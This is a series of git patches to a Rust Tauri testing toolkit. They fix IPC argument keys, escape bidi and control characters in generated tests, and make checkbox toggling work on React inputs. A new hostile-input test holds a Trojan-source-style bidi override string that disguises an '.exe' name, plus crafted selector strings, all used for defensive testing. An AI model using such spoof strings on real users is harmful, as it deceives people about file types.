business. + let _: syn::Expr = meta.value()?.parse()?; + } + Ok(()) + }); + } + out +} + +/// The IPC key Tauri derives for an argument name (tauri-macros `ArgumentCase`). +fn invoke_key(name: &str, snake_case: bool) -> String { + if snake_case { + name.to_snake_case() + } else { + name.to_lower_camel_case() + } } fn parse_attrs(attr: TokenStream) -> syn::Result { @@ -116,6 +200,8 @@ fn parse_attrs(attr: TokenStream) -> syn::Result { intent: None, category: None, examples: Vec::new(), + rename: None, + snake_case: None, }; let parser = syn::meta::parser(|meta| { @@ -129,6 +215,10 @@ fn parse_attrs(attr: TokenStream) -> syn::Result { attrs .examples .push(meta.value()?.parse::()?.value()); + } else if meta.path.is_ident("rename") { + attrs.rename = Some(meta.value()?.parse::()?.value()); + } else if meta.path.is_ident("rename_all") { + attrs.snake_case = Some(parse_rename_all(&meta.value()?.parse()?)?); } else { return Err(meta.error("unknown #[inspectable] attribute")); } @@ -145,15 +235,15 @@ fn extract_args(sig: &syn::Signature) -> Vec<(String, String, bool)> { .filter_map(|arg| { if let syn::FnArg::Typed(pat_type) = arg { let name = match &*pat_type.pat { - syn::Pat::Ident(ident) => ident.ident.to_string(), + syn::Pat::Ident(ident) => ident.ident.unraw().to_string(), _ => return None, }; let ty = &*pat_type.ty; - let type_str = quote!(#ty).to_string(); - if is_tauri_framework_type(&type_str) { + if is_tauri_framework_type(ty) { return None; } + let type_str = quote!(#ty).to_string(); let is_option = type_str.starts_with("Option") || type_str.starts_with("Option <") @@ -168,17 +258,34 @@ fn extract_args(sig: &syn::Signature) -> Vec<(String, String, bool)> { .collect() } -fn is_tauri_framework_type(type_str: &str) -> bool { - const FRAMEWORK_TYPES: &[&str] = &["AppHandle", "State", "Window", "Webview", "WebviewWindow"]; - let last_segment = type_str - .rsplit("::") - .next() - .unwrap_or(type_str) - .split('<') - .next() - .unwrap_or(type_str) - .trim(); - FRAMEWORK_TYPES.contains(&last_segment) +/// Whether Tauri injects this argument itself (the `CommandArg` impls that do not +/// read the invoke payload), so it never appears in the frontend's arguments. +fn is_tauri_framework_type(ty: &syn::Type) -> bool { + const FRAMEWORK_TYPES: &[&str] = &[ + "AppHandle", + "State", + "Window", + "Webview", + "WebviewWindow", + "Request", + "CommandScope", + "GlobalScope", + ]; + let ty = match ty { + syn::Type::Reference(r) => &*r.elem, + syn::Type::Paren(p) => &*p.elem, + syn::Type::Group(g) => &*g.elem, + other => other, + }; + // Judge by the path's LAST segment, never by splitting its tokens as a string: + // `State<'_, my::Pool>` has a `::` inside its generics. + let syn::Type::Path(path) = ty else { + return false; + }; + path.path + .segments + .last() + .is_some_and(|seg| FRAMEWORK_TYPES.iter().any(|t| seg.ident == t)) } fn extract_return_type(sig: &syn::Signature) -> String { @@ -187,3 +294,46 @@ fn extract_return_type(sig: &syn::Signature) -> String { syn::ReturnType::Type(_, ty) => quote!(#ty).to_string(), } } + +#[cfg(test)] +mod tests { + use super::*; + + fn fn_attrs(src: &str) -> Vec { + syn::parse_str::(src).unwrap().attrs + } + + #[test] + fn reads_rename_options_from_a_tauri_command_attribute() { + let o = tauri_command_options(&fn_attrs( + "#[tauri::command(rename_all = \"snake_case\", rename = \"x\")] fn f() {}", + )); + assert_eq!(o.snake_case, Some(true)); + assert_eq!(o.rename.as_deref(), Some("x")); + } + + #[test] + fn tolerates_the_rest_of_tauris_attribute_grammar() { + for src in [ + "#[tauri::command(async)] fn f() {}", + "#[command(root = \"crate\", rename_all = \"snake_case\")] fn f() {}", + "#[tauri::command] fn f() {}", + "#[other::command(rename = \"no\")] fn f() {}", + ] { + let o = tauri_command_options(&fn_attrs(src)); + assert!(o.rename.is_none() || src.contains("root"), "{src}"); + } + let o = tauri_command_options(&fn_attrs( + "#[command(root = \"crate\", rename_all = \"snake_case\")] fn f() {}", + )); + assert_eq!(o.snake_case, Some(true)); + } + + #[test] + fn keys_match_tauri_argument_case() { + assert_eq!(invoke_key("size_kb", false), "sizeKb"); + assert_eq!(invoke_key("a1_b", false), "a1B"); + assert_eq!(invoke_key("name", false), "name"); + assert_eq!(invoke_key("size_kb", true), "size_kb"); + } +} diff --git a/crates/victauri-macros/tests/macro_tests.rs b/crates/victauri-macros/tests/macro_tests.rs index 5cae0ab8..69f73cc8 100644 --- a/crates/victauri-macros/tests/macro_tests.rs +++ b/crates/victauri-macros/tests/macro_tests.rs @@ -151,3 +151,68 @@ fn registry_from_auto_discovery() { "registry should contain load_user" ); } + +// ── IPC argument keys (audit: the registry advertised Rust names, but Tauri invokes +// commands with camelCase keys by default, so an agent following it failed) ── + +#[victauri_macros::inspectable] +fn large_payload(size_kb: usize, r#type: String) -> String { + let _ = (size_kb, r#type); + String::new() +} + +#[victauri_macros::inspectable(rename_all = "snake_case")] +fn snake_keys(size_kb: usize) -> usize { + size_kb +} + +#[victauri_macros::inspectable(rename = "renamed_cmd")] +fn original_name(user_id: u64) -> u64 { + user_id +} + +/// A path-qualified `State` whose generics contain `::` is still an injected arg. +#[victauri_macros::inspectable] +fn with_injected( + app: fake_tauri_types::AppHandle, + state: fake_tauri_types::State>, + window: &fake_tauri_types::Window, + page_size: u32, +) -> u32 { + let _ = (app, state, window); + page_size +} + +#[test] +fn arg_keys_follow_tauris_camel_case_default() { + let info = large_payload__schema(); + assert_eq!(info.args[0].name, "size_kb"); + assert_eq!(info.args[0].invoke_key(), "sizeKb"); + // Raw identifiers are invoked without the `r#` prefix. + assert_eq!(info.args[1].name, "type"); + assert_eq!(info.args[1].key, None); + // Unchanged keys stay implicit (`key: None`), as for single-word args. + assert_eq!(save_api_key__schema().args[0].key, None); +} + +#[test] +fn rename_all_snake_case_keeps_rust_names() { + let info = snake_keys__schema(); + assert_eq!(info.args[0].invoke_key(), "size_kb"); + assert_eq!(info.args[0].key, None); +} + +#[test] +fn rename_sets_the_invoked_command_name() { + let info = original_name__schema(); + assert_eq!(info.name, "renamed_cmd"); + assert_eq!(info.args[0].invoke_key(), "userId"); +} + +#[test] +fn injected_framework_args_are_skipped_even_with_paths_in_generics() { + let info = with_injected__schema(); + let names: Vec<&str> = info.args.iter().map(|a| a.name.as_str()).collect(); + assert_eq!(names, ["page_size"]); + assert_eq!(info.args[0].invoke_key(), "pageSize"); +} diff --git a/crates/victauri-plugin/src/mcp/backend_params.rs b/crates/victauri-plugin/src/mcp/backend_params.rs index 1ce1b5bb..82cbf0e1 100644 --- a/crates/victauri-plugin/src/mcp/backend_params.rs +++ b/crates/victauri-plugin/src/mcp/backend_params.rs @@ -44,8 +44,10 @@ pub struct RegistryParams { pub struct InvokeCommandParams { /// The Tauri command name to invoke (e.g. "greet", "`save_settings`"). pub command: String, - /// Command arguments as a JSON OBJECT nested under this `args` key — keys are the Tauri - /// command's parameter names, e.g. `{"command":"get_item","args":{"itemId":42}}`. Do NOT + /// Command arguments as a JSON OBJECT nested under this `args` key — keys are the IPC + /// argument keys, which Tauri camelCases from the Rust parameter names by default + /// (`item_id` → `itemId`; the registry reports each argument's `key` when it differs), + /// e.g. `{"command":"get_item","args":{"itemId":42}}`. Do NOT /// put parameters at the top level next to `command` (a flat `{"command":...,"itemId":42}` /// leaves `args` empty and the handler sees a missing argument). Omit for no-arg commands. /// A JSON STRING containing that object is also accepted (some MCP clients stringify From 8206c6dbbe1775ddbae589461d95a15ee52531fe Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:23:32 +1000 Subject: [PATCH 019/167] fix(codegen): generated tests survive hostile recordings Recorded page text reached generated Rust with bidi/control characters intact, which rustc rejects (text_direction_codepoint_in_{comment,literal} are deny-by-default); they are now \u{...}-escaped. Recorded selectors are parsed by shape from the start, with CSS string/ident escapes decoded, instead of by substring search: a test id containing ':has-text("' no longer masquerades as a text selector, '#a.b' / '#a:hover' are no longer treated as the id 'a.b', and CSS-escaped ids resolve to the real id. Scrolling to text uses the new scroll_to_by_text rather than passing the text as a CSS selector. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-core/src/codegen.rs | 238 ++++++++++++------ .../tests/codegen_compile_test.rs | 1 + .../tests/codegen_hostile_input_test.rs | 168 +++++++++++++ 3 files changed, 333 insertions(+), 74 deletions(-) create mode 100644 crates/victauri-core/tests/codegen_hostile_input_test.rs diff --git a/crates/victauri-core/src/codegen.rs b/crates/victauri-core/src/codegen.rs index 0f826b59..7625781c 100644 --- a/crates/victauri-core/src/codegen.rs +++ b/crates/victauri-core/src/codegen.rs @@ -185,10 +185,22 @@ pub fn generate_test(session: &RecordedSession, options: &CodegenOptions) -> Str out } -/// Flattens newlines/carriage returns so a value interpolated into a `//` line -/// comment cannot break out of the comment (defense-in-depth, audit #16). +/// Makes a recorded value safe to interpolate into a `//` line comment: a newline +/// could break out of the comment (audit #16), and a control or bidi character +/// (`U+202E`, …) makes rustc reject the whole file — its +/// `text_direction_codepoint_in_comment` lint is deny-by-default — so those are +/// written as `\u{…}` escapes instead. fn sanitize_comment(s: &str) -> String { - s.replace(['\n', '\r'], " ") + let mut out = String::with_capacity(s.len()); + for ch in s.chars() { + match ch { + '\n' | '\r' => out.push(' '), + // Quotes and backslashes are harmless in a comment; keep them readable. + '"' | '\'' | '\\' => out.push(ch), + _ => out.extend(ch.escape_debug()), + } + } + out } /// Converts arbitrary input into a safe Rust identifier for generated test names. @@ -227,16 +239,18 @@ const RUST_KEYWORDS: &[&str] = &[ ]; /// Escapes a string for embedding in a Rust string literal. +/// +/// Beyond quotes, backslashes and newlines, every control, invisible or bidi +/// character becomes a `\u{…}` escape: a raw `U+202E` in a literal makes rustc +/// reject the file (`text_direction_codepoint_in_literal` is deny-by-default), and +/// recorded page text is attacker-controlled. fn escape_rust_str(s: &str) -> String { let mut escaped = String::with_capacity(s.len()); for ch in s.chars() { match ch { - '\\' => escaped.push_str("\\\\"), - '"' => escaped.push_str("\\\""), - '\n' => escaped.push_str("\\n"), - '\r' => escaped.push_str("\\r"), - '\t' => escaped.push_str("\\t"), - other => escaped.push(other), + // `escape_debug` would write `\'`: legal inside "…" but needless noise. + '\'' => escaped.push(ch), + _ => escaped.extend(ch.escape_debug()), } } escaped @@ -292,44 +306,139 @@ fn emit_locator_interaction( } } -/// Converts a raw CSS selector into a Locator factory expression. +/// Converts a recorded selector into a Locator factory expression. fn selector_to_locator(selector: &str) -> String { - // :has-text("...") → Locator::text("...") - if let Some(start) = selector.find(":has-text(\"") { - let text_start = start + ":has-text(\"".len(); - if let Some(end) = selector[text_start..].find("\")") { - let text = escape_rust_str(&selector[text_start..text_start + end]); - return format!("Locator::text(\"{text}\")"); + let (factory, arg) = match parse_recorded_selector(selector) { + RecordedSelector::TestId(id) => ("test_id", id), + RecordedSelector::Role(role) => ("role", role), + RecordedSelector::Text(text) => ("text", text), + // `#id` stays CSS: it is valid CSS as recorded (the bridge CSS-escapes it). + RecordedSelector::Id(_) | RecordedSelector::Css => ("css", selector.to_string()), + }; + format!("Locator::{factory}(\"{}\")", escape_rust_str(&arg)) +} + +/// The shapes the bridge's `bestSelector` records (`js_bridge.rs`), parsed from the +/// start of the selector — never by searching for a marker, which a quoted value can +/// itself contain (`[data-testid="a:has-text(\"x\")"]`). +#[derive(Debug, PartialEq, Eq)] +enum RecordedSelector { + /// `[data-testid="…"]` + TestId(String), + /// `#id` — the id, CSS escapes decoded. + Id(String), + /// `[role="…"]` + Role(String), + /// `[role="…"]:has-text("…")` or `tag:has-text("…")` — the text. + Text(String), + /// Anything else: plain CSS, passed through unchanged. + Css, +} + +fn parse_recorded_selector(selector: &str) -> RecordedSelector { + if let Some(rest) = selector.strip_prefix("[data-testid=") + && let Some((id, rest)) = css_string(rest) + && rest == "]" + { + return RecordedSelector::TestId(id); + } + if let Some(rest) = selector.strip_prefix('#') + && let Some(id) = css_ident(rest) + { + return RecordedSelector::Id(id); + } + if let Some(rest) = selector.strip_prefix("[role=") + && let Some((role, rest)) = css_string(rest) + && let Some(rest) = rest.strip_prefix(']') + { + if rest.is_empty() { + return RecordedSelector::Role(role); + } + if let Some(text) = has_text_suffix(rest) { + return RecordedSelector::Text(text); } + return RecordedSelector::Css; } - - // #id → Locator::css("#id") - if selector.starts_with('#') && !selector[1..].contains(' ') { - let escaped = escape_rust_str(selector); - return format!("Locator::css(\"{escaped}\")"); + let tag_len = selector + .find(|c: char| !(c.is_ascii_alphanumeric() || c == '-')) + .unwrap_or(selector.len()); + if tag_len > 0 + && let Some(text) = has_text_suffix(&selector[tag_len..]) + { + return RecordedSelector::Text(text); } + RecordedSelector::Css +} - // [data-testid="..."] → Locator::test_id("...") - if let Some(start) = selector.find("[data-testid=\"") { - let id_start = start + "[data-testid=\"".len(); - if let Some(end) = selector[id_start..].find("\"]") { - let id = escape_rust_str(&selector[id_start..id_start + end]); - return format!("Locator::test_id(\"{id}\")"); +/// `:has-text("…")` spanning the whole of `s` → the decoded text. +fn has_text_suffix(s: &str) -> Option { + let (text, rest) = css_string(s.strip_prefix(":has-text(")?)?; + (rest == ")").then_some(text) +} + +/// Decodes a CSS double-quoted string at the start of `s`; returns it and the rest. +fn css_string(s: &str) -> Option<(String, &str)> { + let body = s.strip_prefix('"')?; + let mut out = String::new(); + let mut chars = body.char_indices(); + while let Some((i, c)) = chars.next() { + match c { + '"' => return Some((out, &body[i + 1..])), + '\\' => match css_escape(&mut chars) { + Some(Some(decoded)) => out.push(decoded), + Some(None) => {} // escaped newline: a line continuation + None => return None, + }, + _ => out.push(c), } } + None +} - // [role="..."] → Locator::role("...") - if let Some(start) = selector.find("[role=\"") { - let role_start = start + "[role=\"".len(); - if let Some(end) = selector[role_start..].find("\"]") { - let role = escape_rust_str(&selector[role_start..role_start + end]); - return format!("Locator::role(\"{role}\")"); +/// Decodes a CSS identifier spanning all of `s` (as `CSS.escape` writes one). +fn css_ident(s: &str) -> Option { + let mut out = String::new(); + let mut chars = s.char_indices(); + while let Some((_, c)) = chars.next() { + match c { + '\\' => out.push(css_escape(&mut chars)??), + c if c.is_alphanumeric() || c == '-' || c == '_' || !c.is_ascii() => out.push(c), + _ => return None, } } + (!out.is_empty()).then_some(out) +} - // Fallback: Locator::css("...") - let escaped = escape_rust_str(selector); - format!("Locator::css(\"{escaped}\")") +/// Decodes one CSS escape after its backslash: `Some(Some(c))` for a character, +/// `Some(None)` for an escaped newline, `None` for a backslash at the end. +fn css_escape(chars: &mut std::str::CharIndices<'_>) -> Option> { + let (_, first) = chars.next()?; + if first == '\n' { + return Some(None); + } + let Some(mut code) = first.to_digit(16) else { + return Some(Some(first)); + }; + // Up to six hex digits, then one optional whitespace terminator. + for _ in 1..6 { + let mut peek = chars.clone(); + match peek.next() { + Some((_, d)) if d.is_ascii_hexdigit() => { + code = code * 16 + d.to_digit(16).unwrap_or(0); + *chars = peek; + } + _ => break, + } + } + let mut peek = chars.clone(); + if matches!(peek.next(), Some((_, ' ' | '\t' | '\n'))) { + *chars = peek; + } + Some(Some( + char::from_u32(code) + .filter(|&c| c != '\0') + .unwrap_or(char::REPLACEMENT_CHARACTER), + )) } /// Resolved selector form for emitting idiomatic `VictauriClient` calls. @@ -338,32 +447,23 @@ fn selector_to_locator(selector: &str) -> String { /// to the high-level convenience methods on `VictauriClient` (`click_by_id`, /// `click_by_text`, etc.) so generated tests read naturally. enum ResolvedSelector { - /// Selector started with `#` — strip the hash and use `*_by_id`. + /// A `#id` selector — the decoded id, for `*_by_id`. ById(String), - /// Selector contained `:has-text("...")` — extract the text and use `*_by_text`. + /// A `:has-text("...")` selector — the decoded text, for `*_by_text`. ByText(String), /// Everything else — pass the raw selector through. Raw(String), } -/// Classifies a raw CSS selector into the most idiomatic `VictauriClient` form. +/// Classifies a recorded selector into the most idiomatic `VictauriClient` form. fn resolve_selector(selector: &str) -> ResolvedSelector { - // Pattern 2: contains `:has-text("...")` — extract the quoted text. - if let Some(start) = selector.find(":has-text(\"") { - let text_start = start + ":has-text(\"".len(); - if let Some(end) = selector[text_start..].find("\")") { - let text = &selector[text_start..text_start + end]; - return ResolvedSelector::ByText(text.to_string()); + match parse_recorded_selector(selector) { + RecordedSelector::Id(id) => ResolvedSelector::ById(id), + RecordedSelector::Text(text) => ResolvedSelector::ByText(text), + RecordedSelector::TestId(_) | RecordedSelector::Role(_) | RecordedSelector::Css => { + ResolvedSelector::Raw(selector.to_string()) } } - - // Pattern 1: starts with `#` (simple ID selector, no combinators). - if selector.starts_with('#') && !selector[1..].contains(' ') { - let id = &selector[1..]; - return ResolvedSelector::ById(id.to_string()); - } - - ResolvedSelector::Raw(selector.to_string()) } /// Emits a single DOM interaction as a `VictauriClient` method call. @@ -473,28 +573,18 @@ fn emit_resolved_select(out: &mut String, resolved: &ResolvedSelector, val: &str /// Emits a resolved `scroll_to` call. /// -/// For `Raw` selectors, emits `scroll_to_by_selector`. For `ById`, emits -/// `scroll_to_by_id`. For `ByText`, falls back to `scroll_to_by_selector` -/// with the original selector text (scroll has no text variant). +/// Emits `scroll_to_by_id` / `scroll_to_by_text` / `scroll_to_by_selector`. +/// (Text is never passed as a CSS selector: it is not one.) fn emit_resolved_scroll(out: &mut String, resolved: &ResolvedSelector) { - match resolved { - ResolvedSelector::ById(id) => { - let escaped = escape_rust_str(id); - out.push_str(&format!( - " client.scroll_to_by_id(\"{escaped}\").await.unwrap();\n" - )); - } - ResolvedSelector::ByText(_) | ResolvedSelector::Raw(_) => { - let sel = match resolved { - ResolvedSelector::ByText(t) => escape_rust_str(t), - ResolvedSelector::Raw(s) => escape_rust_str(s), - _ => unreachable!(), - }; - out.push_str(&format!( - " client.scroll_to_by_selector(\"{sel}\").await.unwrap();\n" - )); - } - } + let (method, arg) = match resolved { + ResolvedSelector::ById(id) => ("scroll_to_by_id", id), + ResolvedSelector::ByText(text) => ("scroll_to_by_text", text), + ResolvedSelector::Raw(sel) => ("scroll_to_by_selector", sel), + }; + let escaped = escape_rust_str(arg); + out.push_str(&format!( + " client.{method}(\"{escaped}\").await.unwrap();\n" + )); } #[cfg(test)] diff --git a/crates/victauri-core/tests/codegen_compile_test.rs b/crates/victauri-core/tests/codegen_compile_test.rs index 67330766..ef71b284 100644 --- a/crates/victauri-core/tests/codegen_compile_test.rs +++ b/crates/victauri-core/tests/codegen_compile_test.rs @@ -58,6 +58,7 @@ const VALID_CLIENT_METHODS: &[&str] = &[ "select_option_by_id", "select_by_id", "scroll_to_by_id", + "scroll_to_by_text", // By-text variants "click_by_text", "double_click_by_text", diff --git a/crates/victauri-core/tests/codegen_hostile_input_test.rs b/crates/victauri-core/tests/codegen_hostile_input_test.rs new file mode 100644 index 00000000..aabaec05 --- /dev/null +++ b/crates/victauri-core/tests/codegen_hostile_input_test.rs @@ -0,0 +1,168 @@ +//! `victauri record` turns recorded page activity — attacker-controllable text — +//! into Rust source. Whatever the page recorded, the generated file must be valid +//! Rust that rustc accepts and that says what the recording said. + +use chrono::{Duration, Utc}; +use victauri_core::codegen::{CodegenOptions, CodegenStyle}; +use victauri_core::event::{AppEvent, InteractionKind, IpcCall, IpcResult}; +use victauri_core::generate_test; +use victauri_core::recording::{RecordedEvent, RecordedSession}; + +/// Characters rustc rejects outright in comments and literals +/// (`text_direction_codepoint_in_{comment,literal}` are deny-by-default). +const BIDI: &[char] = &[ + '\u{202a}', '\u{202b}', '\u{202c}', '\u{202d}', '\u{202e}', '\u{2066}', '\u{2067}', '\u{2068}', + '\u{2069}', +]; + +fn interaction(action: InteractionKind, selector: &str, value: Option<&str>) -> RecordedEvent { + let ts = Utc::now() + Duration::milliseconds(1); + RecordedEvent::new( + 0, + ts, + AppEvent::dom_interaction( + action, + selector.to_string(), + value.map(String::from), + ts, + "main".to_string(), + ), + ) +} + +fn session(id: &str, events: Vec) -> RecordedSession { + RecordedSession::new(id.to_string(), Utc::now(), events, vec![]) +} + +fn both_styles(s: &RecordedSession) -> Vec { + [CodegenStyle::Direct, CodegenStyle::Locator] + .into_iter() + .map(|style| { + let options = CodegenOptions { + style, + emit_ipc_assert_calls: true, + ..CodegenOptions::default() + }; + generate_test(s, &options) + }) + .collect() +} + +fn assert_clean(code: &str) { + assert!( + !code + .chars() + .any(|c| BIDI.contains(&c) || (c.is_control() && c != '\n')), + "generated code carries a raw control/bidi character:\n{code}" + ); +} + +#[test] +fn bidi_and_control_characters_are_escaped_everywhere() { + let evil = "ok\u{202e}gnp.exe\u{2066}\u{0}\u{7}"; + let ipc = IpcCall::new( + "c1", + format!("save{evil}"), + Utc::now(), + IpcResult::Ok(serde_json::json!(null)), + None, + 0, + "main", + ); + let s = session( + &format!("sess{evil}"), + vec![ + interaction(InteractionKind::Click, &format!("#btn{evil}"), None), + interaction( + InteractionKind::Fill, + &format!("button:has-text(\"{evil}\")"), + Some(evil), + ), + interaction(InteractionKind::Navigate, "", Some(evil)), + RecordedEvent::new(1, Utc::now(), AppEvent::Ipc(ipc)), + ], + ); + for code in both_styles(&s) { + assert_clean(&code); + assert!(code.contains("\\u{202e}"), "escape is visible:\n{code}"); + } +} + +#[test] +fn a_quoted_value_cannot_masquerade_as_a_has_text_selector() { + // The test id itself contains the `:has-text("` marker the old parser searched for. + let s = session( + "s", + vec![interaction( + InteractionKind::Click, + r#"[data-testid="a:has-text(\"x\")"]"#, + None, + )], + ); + let direct = &both_styles(&s)[0]; + assert!( + direct.contains(r#"click_by_selector("[data-testid=\"a:has-text(\\\"x\\\")\"]")"#), + "{direct}" + ); + let locator = &both_styles(&s)[1]; + assert!( + locator.contains(r#"Locator::test_id("a:has-text(\"x\")")"#), + "{locator}" + ); +} + +#[test] +fn only_a_whole_id_selector_becomes_by_id() { + for (selector, expected) in [ + ("#save", r#"click_by_id("save")"#), + // CSS.escape'd React useId id: decoded for the id lookup. + (r"#\:r0\:", r#"click_by_id(":r0:")"#), + (r"#\31 23", r#"click_by_id("123")"#), + // Compound selectors are not ids: `#a.b` is id "a" AND class "b". + ("#a.b", r##"click_by_selector("#a.b")"##), + ("#a>b", r##"click_by_selector("#a>b")"##), + ("#a:hover", r##"click_by_selector("#a:hover")"##), + ] { + let s = session( + "s", + vec![interaction(InteractionKind::Click, selector, None)], + ); + let direct = &both_styles(&s)[0]; + assert!(direct.contains(expected), "{selector}:\n{direct}"); + } +} + +#[test] +fn escaped_text_is_decoded_and_re_escaped() { + // bestSelector writes CSS strings: `\"`, `\\`, and hex escapes for controls. + let s = session( + "s", + vec![interaction( + InteractionKind::Click, + r#"[role="tab"]:has-text("say \"hi\"\a back\\slash")"#, + None, + )], + ); + let direct = &both_styles(&s)[0]; + assert!( + direct.contains(r#"click_by_text("say \"hi\"\nback\\slash")"#), + "{direct}" + ); +} + +#[test] +fn scrolling_to_text_uses_the_text_lookup_not_a_css_selector() { + let s = session( + "s", + vec![interaction( + InteractionKind::Scroll, + r#"h2:has-text("Pricing")"#, + None, + )], + ); + let direct = &both_styles(&s)[0]; + assert!( + direct.contains(r#"scroll_to_by_text("Pricing")"#), + "{direct}" + ); +} From e14fdc96b4b68b59e86bc368a1f6d5474cbb0099 Mon Sep 17 00:00:00 2001 From: antony Date: Sun, 27 Sep 2026 20:23:34 +1000 Subject: [PATCH 020/167] fix(victauri-test): check()/uncheck() work on React inputs; stale refs error check/uncheck assigned el.checked and dispatched synthetic events, which React's value tracker swallows: measured on React 18, onChange fired 0 times and the component reverted. They now click() when the state differs and verify the result (erroring on a disabled box or a checked radio). A ref that went stale is now ElementNotFound instead of reading as empty text / unchecked / no attribute. get_attribute encodes the name as a JSON string. Visual baselines decode 16-bit, indexed and gray+alpha PNGs (normalize_to_color8) instead of misreading or refusing them. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_01We4pMEPqPFqE4WVQy4GWGz --- crates/victauri-test/src/client.rs | 11 +++ crates/victauri-test/src/locator.rs | 107 +++++++++++++++++----------- crates/victauri-test/src/visual.rs | 54 +++++++++++++- 3 files changed, 131 insertions(+), 41 deletions(-) diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index d09e4af0..4e50cf92 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -2036,6 +2036,17 @@ impl VictauriClient { self.scroll_to(&ref_id).await } + /// Scroll the first element whose accessible text contains the given string into view. + /// + /// # Errors + /// + /// Returns [`TestError::ElementNotFound`] if no matching element is found. + /// Returns other errors from [`VictauriClient::call_tool`]. + pub async fn scroll_to_by_text(&mut self, text: &str) -> Result { + let ref_id = self.find_ref_by_text(text).await?; + self.scroll_to(&ref_id).await + } + /// Get the text content of an element identified by HTML `id`. /// /// # Errors diff --git a/crates/victauri-test/src/locator.rs b/crates/victauri-test/src/locator.rs index 74815bda..2b4ee967 100644 --- a/crates/victauri-test/src/locator.rs +++ b/crates/victauri-test/src/locator.rs @@ -424,42 +424,48 @@ impl Locator { client.select_option(&el.ref_id, values).await } - /// Check a checkbox or radio button (sets `checked = true`). + /// Check a checkbox or radio button. + /// + /// Toggles it with a real `click()` when it is not already checked, so the page + /// sees the `click`/`input`/`change` sequence a user produces. (Assigning + /// `el.checked` is invisible to React-controlled inputs: React's value tracker + /// sees no change and swallows the synthetic `change` event.) /// /// # Errors /// - /// Returns [`TestError::ElementNotFound`] if no element matches. + /// Returns [`TestError::ElementNotFound`] if no element matches or it went + /// stale, and [`TestError::Assertion`] if it did not end up checked (disabled, + /// or a handler prevented the change). pub async fn check(&self, client: &mut VictauriClient) -> Result { - let el = self.resolve_one(client).await?; - let code = format!( - "(function() {{ var el = window.__VICTAURI__?.getRef({}); \ - if (!el) return null; \ - if (!el.checked) {{ el.checked = true; \ - el.dispatchEvent(new Event('change', {{bubbles:true}})); \ - el.dispatchEvent(new Event('input', {{bubbles:true}})); }} \ - return true; }})()", - serde_json::to_string(&el.ref_id).unwrap_or_else(|_| "\"\"".to_string()), - ); - client.eval_js(&code).await + self.set_checked(client, true).await } - /// Uncheck a checkbox (sets `checked = false`). + /// Uncheck a checkbox (toggled the same way as [`check`](Self::check)). /// /// # Errors /// - /// Returns [`TestError::ElementNotFound`] if no element matches. + /// Returns [`TestError::ElementNotFound`] if no element matches or it went + /// stale, and [`TestError::Assertion`] for a checked radio button (a user cannot + /// uncheck one either) or if it did not end up unchecked. pub async fn uncheck(&self, client: &mut VictauriClient) -> Result { - let el = self.resolve_one(client).await?; - let code = format!( - "(function() {{ var el = window.__VICTAURI__?.getRef({}); \ - if (!el) return null; \ - if (el.checked) {{ el.checked = false; \ - el.dispatchEvent(new Event('change', {{bubbles:true}})); \ - el.dispatchEvent(new Event('input', {{bubbles:true}})); }} \ - return true; }})()", - serde_json::to_string(&el.ref_id).unwrap_or_else(|_| "\"\"".to_string()), + self.set_checked(client, false).await + } + + async fn set_checked( + &self, + client: &mut VictauriClient, + want: bool, + ) -> Result { + let state = if want { "checked" } else { "unchecked" }; + let body = format!( + "var want = {want}; \ + if (!want && el.type === 'radio' && el.checked) return {{ {ERROR_KEY}: \ + 'a checked radio button cannot be unchecked; check another option' }}; \ + if (!!el.checked !== want) el.click(); \ + return !!el.checked === want ? true : {{ {ERROR_KEY}: \ + 'the element did not become {state} (disabled, or a handler prevented it)' }};" ); - client.eval_js(&code).await + self.eval_on_element(client, &body).await } // ── Query methods ─────────────────────────────────────────────────── @@ -575,8 +581,9 @@ impl Locator { client: &mut VictauriClient, attr_name: &str, ) -> Result, TestError> { - let escaped = attr_name.replace('\\', "\\\\").replace('"', "\\\""); - let js_body = format!("return el.getAttribute(\"{escaped}\");"); + // A JSON string is a valid JS string literal for any input (newlines, U+2028…). + let name = serde_json::to_string(attr_name).unwrap_or_else(|_| "\"\"".to_string()); + let js_body = format!("return el.getAttribute({name});"); let val = self.eval_on_element(client, &js_body).await?; if val.is_null() { Ok(None) @@ -606,13 +613,8 @@ impl Locator { let elements = self.resolve_all(client).await?; let mut texts = Vec::with_capacity(elements.len()); for el in &elements { - let code = format!( - "(function() {{ var el = window.__VICTAURI__?.getRef({}); \ - if (!el) return \"\"; \ - return el.textContent || \"\"; }})()", - serde_json::to_string(&el.ref_id).unwrap_or_else(|_| "\"\"".to_string()), - ); - let val = client.eval_js(&code).await?; + let code = element_script(&el.ref_id, "return el.textContent || \"\";"); + let val = element_result(client.eval_js(&code).await?, self)?; texts.push(value_to_string(&val)); } Ok(texts) @@ -825,13 +827,38 @@ impl Locator { js_body: &str, ) -> Result { let el = self.resolve_one(client).await?; - let ref_str = serde_json::to_string(&el.ref_id).unwrap_or_else(|_| "\"\"".to_string()); - let code = format!( - "(function() {{ var el = window.__VICTAURI__?.getRef({ref_str}); \ - if (!el) return null; {js_body} }})()" - ); - client.eval_js(&code).await + let code = element_script(&el.ref_id, js_body); + element_result(client.eval_js(&code).await?, self) + } +} + +/// Marker an [`element_script`] returns when its ref no longer resolves. +const MISSING_KEY: &str = "__victauri_missing_ref"; +/// Marker an [`element_script`] returns, with a message, when its action failed. +const ERROR_KEY: &str = "__victauri_error"; + +/// Wraps `js_body` (which sees the element as `el`) in a script that reports a ref +/// that no longer resolves — instead of returning `null`, which callers would read +/// as an empty text, an absent attribute or an unchecked box. +fn element_script(ref_id: &str, js_body: &str) -> String { + let ref_str = serde_json::to_string(ref_id).unwrap_or_else(|_| "\"\"".to_string()); + format!( + "(function() {{ var el = window.__VICTAURI__?.getRef({ref_str}); \ + if (!el) return {{ {MISSING_KEY}: true }}; {js_body} }})()" + ) +} + +/// Turns an [`element_script`] result's markers into errors. +fn element_result(val: Value, locator: &Locator) -> Result { + if val.get(MISSING_KEY).and_then(Value::as_bool) == Some(true) { + return Err(TestError::ElementNotFound(format!( + "{locator} (the element went stale before it could be read)" + ))); + } + if let Some(msg) = val.get(ERROR_KEY).and_then(Value::as_str) { + return Err(TestError::Assertion(format!("{locator}: {msg}"))); 